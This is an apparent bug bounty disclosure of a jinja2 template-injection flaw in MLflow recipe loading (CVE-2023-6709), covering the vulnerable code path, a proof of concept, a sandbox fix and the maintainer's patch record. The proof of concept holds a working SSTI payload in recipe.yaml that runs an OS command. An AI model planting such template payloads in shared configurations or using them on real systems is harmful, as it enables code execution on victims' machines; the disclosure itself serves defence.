

Remote Code Execution due to jinja2 SSTI in mlflow/mlflow

✓ Valid

Reported on Sep 25th 2023

Requirements

The user must load a recipe configuration that he found on the internet.

Description

As described in the [MLFlow](#) documentation, the library allows to create [recipes](#) ([source](#)). As described into it, it can be used this way:

1. Git clone the [recipes-regression-template](#) repository:

```
git clone https://github.com/mlflow/recipes-regression-template
```

2. Use it in a run:

```
import os
from mlflow.recipes import Recipe
from mlflow.pyfunc import PyFuncModel

os.chdir("~/recipes-regression-template")
regression_recipe = Recipe(profile="local")
# Run the full recipe
regression_recipe.run()
# Inspect the model training results
regression_recipe.inspect(step="train")
# Load the trained model
regression_model_recipe: PyFuncModel = regression_recipe.get_artifact("model")
```

When loading the recipe, it triggers the following execution flow:

1. Trigger `__new__`: ([permalink](#))

```
def __new__(cls, profile: str):
    # ...
    recipe_config = get_recipe_config(recipe_root_path=recipe_root_path, profile=profile)
    recipe = recipe_config.get("recipe")
```

2. Get the recipe config via `get_recipe_config`: ([permalink](#))

```
def get_recipe_config(recipe_root_path: str = None, profile: str = None) -> Dict[str, Any]:
    # ...
    if profile:
        # ...
        return render_and_merge_yaml(
            recipe_root_path, _RECIPE_CONFIG_FILE_NAME, profile_relpath
        )
    else:
        return read_yaml(recipe_root_path, _RECIPE_CONFIG_FILE_NAME)
```

3. In case of a `profile`, it will call `render_and_merge_yaml` to render and merge profile / recipe `yaml` file: ([permalink](#))

```
def render_and_merge_yaml(root, template_name, context_name):
    # ...
    j2_env = jinja2.Environment(
        loader=jinja2.FileSystemLoader(root, encoding=ENCODING),
        undefined=jinja2.StrictUndefined,
        line_comment_prefix="#",
    )

    # ...
    context_source = j2_env.get_template(context_name).render({}) # <--- HERE IS THE PROBLEM
    context_dict = yaml.load(context_source, Loader=UniqueKeyLoader) or {}

    # Substitute parameters from context dict into template
    source = j2_env.get_template(template_name).render(context_dict)

    rendered_template_dict = yaml.load(source, Loader=UniqueKeyLoader)
    return merge_dicts(rendered_template_dict, context_dict)
```

In order to "render" and "merge", the [jinja](#) library is used without using any [sandbox](#). Due to this, in case a user loads a recipe configuration that he found on the internet, it might result in a code execution!

▮ Proof of Concept

1. Create the following directory arborescence:

```
.
├── recipes
│   ├── profiles
│   │   └── local.yaml
│   └── recipe.yaml
└── run.py
```

2. Fill `local.yaml` with whatever you want.

3. Fill `recipe.yaml` with:

```
recipe: "regression/v1"
target_col: {{ cyclar.__init__.__globals__.os.system("id > /tmp/rce") }}
```

4. Execute `run.py` with:

```
import os
from mlflow.recipes import Recipe

os.chdir("./recipes")
regression_recipe = Recipe(profile="local")
```

5. You should see that `/tmp/rce` file has been created:

```
16:11:06 mizu@mizu:~$ cat /tmp/rce
uid=1000(audit) gid=1000(audit) groups=1000(audit),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),134(sambashare)
```

Models Impact

As the vulnerability results in a command execution, models are impacted at all levels.

Fix suggestion

Following [palletsprojects's](#) security concerns about `untrusted template`, you should use a [sandbox](#).

```
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()

name = "hello"
env.from_string("{{ name }}").render(name=name)
```

This way, code execution shouldn't be possible anymore.

Impact

In case a user loads a malicious user's recipe config, he could abuse this issue to execute code on the victim's machine.

Occurrences

 file_utils.py L336

Rendering of potentially unsafe recipe without using jinja2 sandbox

- ⚙️ We are processing your report and will contact the **mlflow** team within 24 hours. 2 years ago
- 🕒 A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists 2 years ago
- ✉️ We have contacted a member of the **mlflow** team and are waiting to hear back 2 years ago

Harutaka Kawamura commented 2 years ago

Maintainer

Hi Mizu, thanks for reporting this, we filed <https://github.com/mlflow/mlflow/pull/10640>. Could you take a look? Thanks in advance.

Mizu commented 2 years ago

Researcher

Hi, All looks good 😊

- ✅ **Harutaka Kawamura** validated this vulnerability 2 years ago
- \$ **kevin-mizu** has been awarded the disclosure bounty ✅
- \$ The fix bounty is now up for grabs
- ★ The researcher's credibility has increased: +7
- ✅ **Harutaka Kawamura** marked this as fixed in **2.9.2** with commit **432b8c** 2 years ago
- \$ The fix bounty has been dropped ❌
- 📢 This vulnerability has now been published 2 years ago
- \$ **file_utils.py#L336** has been validated ✅

[Sign in](#) to join this conversation

CVE
CVE-2023-6709
Published

Vulnerability Type
CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine

Severity

Critical (10)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	High
Availability	High

[Open in visual CVSS calculator](#)

Registry
Pypi

Affected Version
2.7.1 (latest)

Visibility
Public

Status
Fixed

Disclosure Bounty
\$4500

Fix Bounty
\$1125

Found by



Mizu

@kevin-mizu

LIGHTWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



